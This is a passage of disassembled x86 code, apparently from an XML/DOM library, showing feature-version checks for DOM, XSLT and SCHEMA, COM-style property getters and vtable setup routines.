jnz short loc_69B59F8E
loc_69B59F82: ; CODE XREF: sub_69B59F43+2Ej
cmp [ebp+arg_8], ebx
jz short loc_69B59FF2
push offset a1_0 ; "1.0"
jmp short loc_69B59FE4
; ---------------------------------------------------------------------------
loc_69B59F8E: ; CODE XREF: sub_69B59F43+3Dj
push offset aMsDom ; "MS-DOM"
push esi
call sub_69B2ED17
test eax, eax
jnz short loc_69B59FBC
cmp [ebp+arg_8], ebx
jz short loc_69B59FF2
push offset a1_0 ; "1.0"
push [ebp+arg_8]
call sub_69B84A8E
test eax, eax
pop ecx
pop ecx
jz short loc_69B59FF2
push offset a2_0 ; "2.0"
jmp short loc_69B59FE4
; ---------------------------------------------------------------------------
loc_69B59FBC: ; CODE XREF: sub_69B59F43+58j
push offset aXslt ; "XSLT"
push esi
call sub_69B2ED17
test eax, eax
jz short loc_69B59FDA
push offset aSchema ; "SCHEMA"
push esi
call sub_69B2ED17
test eax, eax
jnz short loc_69B59FF6
loc_69B59FDA: ; CODE XREF: sub_69B59F43+86j
cmp [ebp+arg_8], ebx
jz short loc_69B59FF2
push offset a0_5 ; "0.5"
loc_69B59FE4: ; CODE XREF: sub_69B59F43+49j
; sub_69B59F43+77j
push [ebp+arg_8]
call sub_69B84A8E
test eax, eax
pop ecx
pop ecx
jnz short loc_69B59FF6
loc_69B59FF2: ; CODE XREF: sub_69B59F43+42j
; sub_69B59F43+5Dj ...
or word ptr [edi], 0FFFFh
loc_69B59FF6: ; CODE XREF: sub_69B59F43+95j
; sub_69B59F43+ADj
xor eax, eax
jmp short loc_69B59FFF
; ---------------------------------------------------------------------------
loc_69B59FFA: ; CODE XREF: sub_69B59F43+Dj
; sub_69B59F43+18j
mov eax, 80070057h
loc_69B59FFF: ; CODE XREF: sub_69B59F43+B5j
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B59F43 endp
; ---------------------------------------------------------------------------
align 4
a0_5: ; DATA XREF: sub_69B59F43+9Co
unicode 0, <0.5>,0
aSchema: ; DATA XREF: sub_69B59F43+88o
unicode 0, <SCHEMA>,0
align 10h
aXslt: ; DATA XREF: sub_69B59F43:loc_69B59FBCo
unicode 0, <XSLT>,0
align 4
a2_0: ; DATA XREF: sub_69B59F43+72o
unicode 0, <2.0>,0
aMsDom: ; DATA XREF: sub_69B59F43:loc_69B59F8Eo
unicode 0, <MS-DOM>,0
align 4
aDom: ; DATA XREF: sub_69B59F43+30o
unicode 0, <DOM>,0
; =============== S U B R O U T I N E =======================================
sub_69B5A04C proc near ; CODE XREF: sub_69B5A06D+3p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B99B9C
push off_69B99BA0
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B5A04C endp
; =============== S U B R O U T I N E =======================================
sub_69B5A06D proc near ; CODE XREF: sub_69B572C4+51p
push esi
mov esi, ecx
call sub_69B5A04C
mov dword ptr [esi], offset off_69B12834
mov dword ptr [esi+4], offset off_69B2908C
mov dword ptr [esi+0Ch], offset off_69B29088
mov dword ptr [esi+18h], offset off_69B2904C
mov eax, esi
pop esi
retn
sub_69B5A06D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5A094(int, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B5A094 proc near ; DATA XREF: .text:69B29068o
strIn = dword ptr 8
arg_8 = dword ptr 0Ch
psz2 = dword ptr 10h
push [esp+psz2] ; psz2
push [esp+4+arg_8] ; int
push [esp+8+strIn] ; strIn
push 0 ; char
push offset dword_69B99B9C ; int
call sub_69B2CFAA
retn 10h
sub_69B5A094 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5A0AF proc near ; DATA XREF: .text:69B2906Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 0
push offset dword_69B99B9C
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B5A0AF endp
; =============== S U B R O U T I N E =======================================
sub_69B5A0DE proc near ; CODE XREF: sub_69B5A124+5j
; DATA XREF: .text:69B12378o ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 4
push eax
call sub_69B2CEFF
retn 8
sub_69B5A0DE endp
; =============== S U B R O U T I N E =======================================
sub_69B5A0F2 proc near ; DATA XREF: .text:off_69B2908Co
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B3B7BC
sub_69B5A0F2 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A0FC proc near ; DATA XREF: .text:69B14B38o
; .text:69B14C14o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B1F56C
sub_69B5A0FC endp
; =============== S U B R O U T I N E =======================================
sub_69B5A106 proc near ; DATA XREF: .text:69B14B3Co
; .text:69B14C18o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B7793E
sub_69B5A106 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A110 proc near ; DATA XREF: .text:off_69B278F8o
; .text:off_69B2904Co ...
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B3B7BC
sub_69B5A110 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A11A proc near ; DATA XREF: .text:69B14B00o
; .text:69B14BDCo ...
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B7793E
sub_69B5A11A endp
; =============== S U B R O U T I N E =======================================
sub_69B5A124 proc near ; DATA XREF: .text:69B14B04o
; .text:69B14BE0o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp short sub_69B5A0DE
sub_69B5A124 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A12B proc near ; DATA XREF: .text:69B14B08o
; .text:69B14BE4o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B3BB2E
sub_69B5A12B endp
; =============== S U B R O U T I N E =======================================
sub_69B5A135 proc near ; DATA XREF: .text:69B14B0Co
; .text:69B14BE8o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B7794D
sub_69B5A135 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A13F proc near ; DATA XREF: .text:69B14B10o
; .text:69B14BECo ...
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B3C310
sub_69B5A13F endp
; =============== S U B R O U T I N E =======================================
sub_69B5A149 proc near ; DATA XREF: .text:off_69B29088o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B5A168
test [esp+4+arg_0], 1
jz short loc_69B5A161
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B5A161: ; CODE XREF: sub_69B5A149+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B5A149 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A168 proc near ; CODE XREF: sub_69B5A149+3p
mov dword ptr [ecx-0Ch], offset off_69B12834
mov dword ptr [ecx-8], offset off_69B2908C
mov dword ptr [ecx], offset off_69B29088
mov dword ptr [ecx+0Ch], offset off_69B2904C
jmp sub_69B2C65C
sub_69B5A168 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5A188 proc near ; DATA XREF: .data:69B99CC0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
sub eax, 0
jz loc_69B5A220
sub eax, 0B3h
jz short loc_69B5A20E
dec eax
jz short loc_69B5A1FC
dec eax
jz short loc_69B5A1EA
dec eax
jz short loc_69B5A1D8
dec eax
jz short loc_69B5A1C6
dec eax
jz short loc_69B5A1B4
mov eax, 80020003h
jmp short loc_69B5A230
; ---------------------------------------------------------------------------
loc_69B5A1B4: ; CODE XREF: sub_69B5A188+23j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+34h]
jmp short loc_69B5A230
; ---------------------------------------------------------------------------
loc_69B5A1C6: ; CODE XREF: sub_69B5A188+20j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+30h]
jmp short loc_69B5A230
; ---------------------------------------------------------------------------
loc_69B5A1D8: ; CODE XREF: sub_69B5A188+1Dj
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+2Ch]
jmp short loc_69B5A230
; ---------------------------------------------------------------------------
loc_69B5A1EA: ; CODE XREF: sub_69B5A188+1Aj
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+28h]
jmp short loc_69B5A230
; ---------------------------------------------------------------------------
loc_69B5A1FC: ; CODE XREF: sub_69B5A188+17j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+24h]
jmp short loc_69B5A230
; ---------------------------------------------------------------------------
loc_69B5A20E: ; CODE XREF: sub_69B5A188+14j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+20h]
jmp short loc_69B5A230
; ---------------------------------------------------------------------------
loc_69B5A220: ; CODE XREF: sub_69B5A188+9j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+1Ch]
loc_69B5A230: ; CODE XREF: sub_69B5A188+2Aj
; sub_69B5A188+3Cj ...
pop ebp
retn 18h
sub_69B5A188 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A234 proc near ; DATA XREF: .text:69B12870o
push 24h
push offset dword_69B5A2E8
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5A253
mov eax, 80070057h
jmp loc_69B5A2DC
; ---------------------------------------------------------------------------
loc_69B5A253: ; CODE XREF: sub_69B5A234+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B5A269
mov eax, 80004005h
jmp short loc_69B5A2DC
; ---------------------------------------------------------------------------
loc_69B5A269: ; CODE XREF: sub_69B5A234+2Cj
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
mov esi, [esi+1Ch]
mov [ebp-2Ch], esi
cmp esi, ebx
jz short loc_69B5A29B
mov [ebp-30h], esi
mov ecx, esi
call sub_69B2E804
mov [edi], eax
jmp short loc_69B5A2C5
; ---------------------------------------------------------------------------
loc_69B5A29B: ; CODE XREF: sub_69B5A234+57j
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-34h], ebx
jmp short loc_69B5A2C5
; ---------------------------------------------------------------------------
loc_69B5A2A5: ; DATA XREF: .text:69B5A2ECo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5A2AE: ; DATA XREF: .text:69B5A2F0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B5A2C5: ; CODE XREF: sub_69B5A234+65j
; sub_69B5A234+6Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5A2DC: ; CODE XREF: sub_69B5A234+1Aj
; sub_69B5A234+33j
call sub_69B1853C
retn 8
sub_69B5A234 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B5A2E8 dd 0FFFFFFFFh dd offset loc_69B5A2A5
dd offset loc_69B5A2AE
; =============== S U B R O U T I N E =======================================
sub_69B5A2F4 proc near ; DATA XREF: .text:69B12880o
push 24h
push offset dword_69B5A3A0
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5A313
mov eax, 80070057h
jmp loc_69B5A396
; ---------------------------------------------------------------------------
loc_69B5A313: ; CODE XREF: sub_69B5A2F4+13j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B5A327
mov eax, 80004005h
jmp short loc_69B5A396
; ---------------------------------------------------------------------------
loc_69B5A327: ; CODE XREF: sub_69B5A2F4+2Aj
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
mov esi, [esi+1Ch]
mov [ebp-2Ch], esi
cmp esi, ebx
jz short loc_69B5A355
mov [ebp-30h], esi
mov eax, [esi+18h]
mov [edi], eax
jmp short loc_69B5A37F
; ---------------------------------------------------------------------------
loc_69B5A355: ; CODE XREF: sub_69B5A2F4+55j
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-34h], ebx
jmp short loc_69B5A37F
; ---------------------------------------------------------------------------
loc_69B5A35F: ; DATA XREF: .text:69B5A3A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5A368: ; DATA XREF: .text:69B5A3A8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B5A37F: ; CODE XREF: sub_69B5A2F4+5Fj
; sub_69B5A2F4+69j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5A396: ; CODE XREF: sub_69B5A2F4+1Aj
; sub_69B5A2F4+31j
call sub_69B1853C
retn 8
sub_69B5A2F4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B5A3A0 dd 0FFFFFFFFh dd offset loc_69B5A35F
dd offset loc_69B5A368
; =============== S U B R O U T I N E =======================================
sub_69B5A3AC proc near ; DATA XREF: .text:69B12884o
push 24h
push offset dword_69B5A458
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5A3CB
mov eax, 80070057h
jmp loc_69B5A44E
; ---------------------------------------------------------------------------
loc_69B5A3CB: ; CODE XREF: sub_69B5A3AC+13j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B5A3DF
mov eax, 80004005h
jmp short loc_69B5A44E
; ---------------------------------------------------------------------------
loc_69B5A3DF: ; CODE XREF: sub_69B5A3AC+2Aj
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
mov esi, [esi+1Ch]
mov [ebp-2Ch], esi
cmp esi, ebx
jz short loc_69B5A40D
mov [ebp-30h], esi
mov eax, [esi+1Ch]
mov [edi], eax
jmp short loc_69B5A437
; ---------------------------------------------------------------------------
loc_69B5A40D: ; CODE XREF: sub_69B5A3AC+55j
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-34h], ebx
jmp short loc_69B5A437
; ---------------------------------------------------------------------------
loc_69B5A417: ; DATA XREF: .text:69B5A45Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5A420: ; DATA XREF: .text:69B5A460o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B5A437: ; CODE XREF: sub_69B5A3AC+5Fj
; sub_69B5A3AC+69j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5A44E: ; CODE XREF: sub_69B5A3AC+1Aj
; sub_69B5A3AC+31j
call sub_69B1853C
retn 8
sub_69B5A3AC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B5A458 dd 0FFFFFFFFh dd offset loc_69B5A417
dd offset loc_69B5A420
; =============== S U B R O U T I N E =======================================
sub_69B5A464 proc near ; DATA XREF: .text:69B12888o
push 24h
push offset dword_69B5A510
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5A483
mov eax, 80070057h
jmp loc_69B5A506
; ---------------------------------------------------------------------------
loc_69B5A483: ; CODE XREF: sub_69B5A464+13j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B5A497
mov eax, 80004005h
jmp short loc_69B5A506
; ---------------------------------------------------------------------------
loc_69B5A497: ; CODE XREF: sub_69B5A464+2Aj
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
mov esi, [esi+1Ch]
mov [ebp-2Ch], esi
cmp esi, ebx
jz short loc_69B5A4C5
mov [ebp-30h], esi
mov eax, [esi+20h]
mov [edi], eax
jmp short loc_69B5A4EF
; ---------------------------------------------------------------------------
loc_69B5A4C5: ; CODE XREF: sub_69B5A464+55j
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-34h], ebx
jmp short loc_69B5A4EF
; ---------------------------------------------------------------------------
loc_69B5A4CF: ; DATA XREF: .text:69B5A514o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5A4D8: ; DATA XREF: .text:69B5A518o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B5A4EF: ; CODE XREF: sub_69B5A464+5Fj
; sub_69B5A464+69j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5A506: ; CODE XREF: sub_69B5A464+1Aj
; sub_69B5A464+31j
call sub_69B1853C
retn 8
sub_69B5A464 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B5A510 dd 0FFFFFFFFh dd offset loc_69B5A4CF
dd offset loc_69B5A4D8
; =============== S U B R O U T I N E =======================================
sub_69B5A51C proc near ; DATA XREF: .text:69B12874o
push 34h
push offset dword_69B5A5F0
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5A53B
mov eax, 80070057h
jmp loc_69B5A5E3
; ---------------------------------------------------------------------------
loc_69B5A53B: ; CODE XREF: sub_69B5A51C+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B5A554
mov eax, 80004005h
jmp loc_69B5A5E3
; ---------------------------------------------------------------------------
loc_69B5A554: ; CODE XREF: sub_69B5A51C+2Cj
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
mov eax, [esi+1Ch]
mov [ebp-2Ch], eax
cmp eax, ebx
jz short loc_69B5A5A2
mov [ebp-30h], eax
mov ecx, [eax+10h]
mov [ebp-34h], ecx
cmp ecx, ebx
jz short loc_69B5A5A2
mov [ebp-38h], eax
mov eax, [eax+10h]
mov [ebp-3Ch], eax
mov ecx, [eax+0Ch]
mov [ebp-40h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B5A5CC
; ---------------------------------------------------------------------------
loc_69B5A5A2: ; CODE XREF: sub_69B5A51C+5Aj
; sub_69B5A51C+67j
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-44h], ebx
jmp short loc_69B5A5CC
; ---------------------------------------------------------------------------
loc_69B5A5AC: ; DATA XREF: .text:69B5A5F4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5A5B5: ; DATA XREF: .text:69B5A5F8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B5A5CC: ; CODE XREF: sub_69B5A51C+84j
; sub_69B5A51C+8Ej
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5A5E3: ; CODE XREF: sub_69B5A51C+1Aj
; sub_69B5A51C+33j
call sub_69B1853C
retn 8
sub_69B5A51C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B5A5F0 dd 0FFFFFFFFh dd offset loc_69B5A5AC
dd offset loc_69B5A5B5
; =============== S U B R O U T I N E =======================================
sub_69B5A5FC proc near ; DATA XREF: .text:69B12878o
push 28h
push offset dword_69B5A6C8
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5A61B
mov eax, 80070057h
jmp loc_69B5A6B9
; ---------------------------------------------------------------------------
loc_69B5A61B: ; CODE XREF: sub_69B5A5FC+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B5A634
mov eax, 80004005h
jmp loc_69B5A6B9
; ---------------------------------------------------------------------------
loc_69B5A634: ; CODE XREF: sub_69B5A5FC+2Cj
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
mov ecx, [esi+1Ch]
mov [ebp-2Ch], ecx
cmp ecx, ebx
jz short loc_69B5A678
mov eax, [ecx]
call dword ptr [eax+38h]
mov [ebp-30h], eax
cmp eax, ebx
jz short loc_69B5A678
mov ecx, [eax+0Ch]
mov [ebp-34h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B5A6A2
; ---------------------------------------------------------------------------
loc_69B5A678: ; CODE XREF: sub_69B5A5FC+5Aj
; sub_69B5A5FC+66j
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-38h], ebx
jmp short loc_69B5A6A2
; ---------------------------------------------------------------------------
loc_69B5A682: ; DATA XREF: .text:69B5A6CCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5A68B: ; DATA XREF: .text:69B5A6D0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B5A6A2: ; CODE XREF: sub_69B5A5FC+7Aj
; sub_69B5A5FC+84j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5A6B9: ; CODE XREF: sub_69B5A5FC+1Aj
; sub_69B5A5FC+33j
call sub_69B1853C
retn 8
sub_69B5A5FC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B5A6C8 dd 0FFFFFFFFh dd offset loc_69B5A682
dd offset loc_69B5A68B
; =============== S U B R O U T I N E =======================================
sub_69B5A6D4 proc near ; DATA XREF: .text:69B1287Co
push 30h
push offset dword_69B5A7A0
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5A6F3
mov eax, 80070057h
jmp loc_69B5A795
; ---------------------------------------------------------------------------
loc_69B5A6F3: ; CODE XREF: sub_69B5A6D4+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B5A70C
mov eax, 80004005h
jmp loc_69B5A795
; ---------------------------------------------------------------------------
loc_69B5A70C: ; CODE XREF: sub_69B5A6D4+2Cj
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
mov esi, [esi+1Ch]
mov [ebp-2Ch], esi
cmp esi, ebx
jz short loc_69B5A754
mov [ebp-30h], esi
mov eax, [esi+14h]
mov [ebp-34h], eax
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B5A754
mov ecx, [eax+0Ch]
mov [ebp-3Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B5A77E
; ---------------------------------------------------------------------------
loc_69B5A754: ; CODE XREF: sub_69B5A6D4+5Aj
; sub_69B5A6D4+6Aj
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-40h], ebx
jmp short loc_69B5A77E
; ---------------------------------------------------------------------------
loc_69B5A75E: ; DATA XREF: .text:69B5A7A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5A767: ; DATA XREF: .text:69B5A7A8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B5A77E: ; CODE XREF: sub_69B5A6D4+7Ej
; sub_69B5A6D4+88j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5A795: ; CODE XREF: sub_69B5A6D4+1Aj
; sub_69B5A6D4+33j
call sub_69B1853C
retn 8
sub_69B5A6D4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B5A7A0 dd 0FFFFFFFFh dd offset loc_69B5A75E
dd offset loc_69B5A767
; =============== S U B R O U T I N E =======================================
sub_69B5A7AC proc near ; CODE XREF: sub_69B5A7CD+3p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B99CA0
push off_69B99CA4
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B5A7AC endp
; =============== S U B R O U T I N E =======================================
sub_69B5A7CD proc near ; CODE XREF: sub_69B57F64+73p
; sub_69B58E4C+13Ep ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B5A7AC
push [esp+4+arg_0]
lea ecx, [esi+1Ch]
mov dword ptr [esi], offset off_69B12854
mov dword ptr [esi+4], offset off_69B2908C
mov dword ptr [esi+0Ch], offset off_69B29124
mov dword ptr [esi+18h], offset off_69B290E8
call sub_69B1E084
mov eax, esi
pop esi
retn 4
sub_69B5A7CD endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5A802(int, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B5A802 proc near ; DATA XREF: .text:69B29104o
strIn = dword ptr 8
arg_8 = dword ptr 0Ch
psz2 = dword ptr 10h
push [esp+psz2] ; psz2
push [esp+4+arg_8] ; int
push [esp+8+strIn] ; strIn
push 0 ; char
push offset dword_69B99CA0 ; int
call sub_69B2CFAA
retn 10h
sub_69B5A802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5A81D proc near ; DATA XREF: .text:69B29108o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 0
push offset dword_69B99CA0
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B5A81D endp
; ---------------------------------------------------------------------------
loc_69B5A84C: ; DATA XREF: .text:off_69B29124o
push esi
mov esi, ecx
call sub_69B5A86B
test byte ptr [esp+8], 1
jz short loc_69B5A864
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B5A864: ; CODE XREF: .text:69B5A859j
lea eax, [esi-0Ch]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B5A86B proc near ; CODE XREF: .text:69B5A84Fp
push esi
lea esi, [ecx+10h]
push 0
push esi
mov dword ptr [ecx-0Ch], offset off_69B12854
mov dword ptr [ecx-8], offset off_69B2908C
mov dword ptr [ecx], offset off_69B29124
mov dword ptr [ecx+0Ch], offset off_69B290E8
call sub_69B17320
push esi
call sub_69B17230
pop esi
jmp sub_69B2C65C
sub_69B5A86B endp
; =============== S U B R O U T I N E =======================================
sub_69B5A89E proc near ; CODE XREF: sub_69B58E4C:loc_69B58F9Ep
push 20h
push offset dword_69B5A948
call sub_69B19C5C
mov byte ptr [ebp-19h], 1
mov esi, dword_69B9B270
mov [ebp-20h], esi
